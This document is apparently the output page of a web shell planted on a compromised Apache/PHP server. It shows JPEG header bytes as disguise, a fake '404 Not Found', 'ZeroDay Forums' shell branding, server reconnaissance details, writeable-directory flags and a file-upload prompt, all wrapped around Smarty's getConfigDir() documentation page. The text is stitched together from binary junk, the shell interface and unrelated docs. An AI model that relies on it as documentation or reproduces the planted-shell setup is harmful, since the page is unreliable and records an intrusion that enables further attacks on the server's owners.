����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/api-get-config-dir.md
getConfigDir()

return the directory where config files are stored

Description
===========

string\|array

getConfigDir

string

key


    <?php

    // set some config directories
    $smarty->setConfigDir(array(
        'one' => './config',
        'two' => './config_2',
        'three' => './config_3',
    ));

    // get all directories where config files are stored
    $config_dir = $smarty->getConfigDir();
    var_dump($config_dir); // array

    // get directory identified by key
    $config_dir = $smarty->getConfigDir('one');
    var_dump($config_dir); // string

    ?>

       

See also [`setConfigDir()`](#api.set.config.dir),
[`addConfigDir()`](#api.add.config.dir) and
[`$config_dir`](#variable.config.dir).

ZeroDay Forums Mini